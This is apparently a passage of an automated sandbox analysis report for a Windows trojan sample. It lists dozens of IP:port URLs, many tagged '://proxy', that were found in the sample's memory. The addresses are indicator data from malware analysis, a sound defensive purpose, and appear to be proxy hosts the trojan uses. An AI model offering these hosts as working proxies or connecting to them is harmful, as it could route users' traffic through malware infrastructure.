Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.137.204.161:11066://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.137.204.161:13892
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.137.204.161:13892://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.137.204.161:30545
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.137.204.161:30545://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.137.204.161:31893
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.137.204.161:31893://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.137.204.161:32381
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.137.204.161:32381://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.137.204.161:32862
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.137.204.161:32862://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.137.204.161:33992
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.137.204.161:33992://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.137.204.235:10879
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.137.204.235:10879://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.137.204.235:30225
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.137.204.235:30225://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.137.36.165:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.137.36.165:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.143.187.58:1730
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.143.187.58:1730://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.143.187.58:17905
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.143.187.58:17905://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.143.187.58:38971
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.143.187.58:38971://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.143.187.58:55215
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.143.187.58:55215://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.143.187.58:59410
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.143.187.58:59410://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C808B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.174.188.153:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.174.188.153:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAFB9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.209.255.13:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAFB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.209.255.13:3128://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBB63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.210.150.195:26666
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBB63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.210.150.195:26666://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.210.60.44:5002
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.210.60.44:5002://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.128.6:11
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.128.6:11://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.128.6:20002
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.128.6:20002://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.128.6:2020
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.128.6:2020://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.128.6:7777
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.128.6:7777://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.128.6:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.128.6:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA9A3000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA993000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.128.6:8118
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA993000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.128.6:8118://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.128.6:8889
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.128.6:8889://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.128.6:9992
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.128.6:9992://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.128.90:10
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.128.90:10000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.128.90:10000://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C658E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.128.90:10://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD2A8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.128.90:20002
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.128.90:20002://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCBB3000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC182000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.128.90:444
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CABD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.128.90:444://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.128.90:6666
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C658C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.128.90:6666://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.128.90:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.128.90:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8483000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.129.15:4430
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.129.15:443://proxyP
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.129.15:50
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.129.15:50://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.129.15:8060
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.129.15:8060://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.129.15:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC019000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.129.15:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.129.20:19
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.129.20:19://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C815E000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.129.20:20000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.129.20:20000://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA4DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.129.20:2001
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA4DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.129.20:2001://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.129.20:20201
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.129.20:20201://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.129.20:8081
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.129.20:8081://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65FB000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.137.155:515
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.137.155:515://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C94F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.137.155:8034
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.137.155:8034://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCB1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAB57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.137.155:8082
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.137.155:8082://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.137.155:8888
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.137.155:8888://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.137.155:9090
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.137.155:9090://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.137.155:92
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C843B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.137.155:92://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.217.118.156
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.217.118.156://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.217.118.156:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.217.120.235:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.217.120.235:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBEEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.217.129.104:15673
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBEFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.217.129.104:15673://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBD85000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.217.129.104:15673x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.218.148.144:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.218.148.144:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C94ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.219.97.248
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C94B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.219.97.248://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.219.97.248:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.222.175.210:50554
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.222.175.210:50554://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.222.175.210:50554x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A5B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.222.184.251:15673
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.222.184.251:15673://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C70EF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7121000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.222.188.148:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C70EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.222.188.148:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.242.176.37:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.242.176.37:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.242.178.5:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.242.178.5:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBED6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBD20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.242.178.6:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBED6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.242.178.6:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAB2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.34.208.46
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBB63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.34.208.46://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBB63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.34.208.46:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.122.170.182:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.122.170.182:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.13.43.193
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.13.43.193://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.13.43.193:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.150.50.226
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB11A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.150.50.226://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.191.169.66:4145
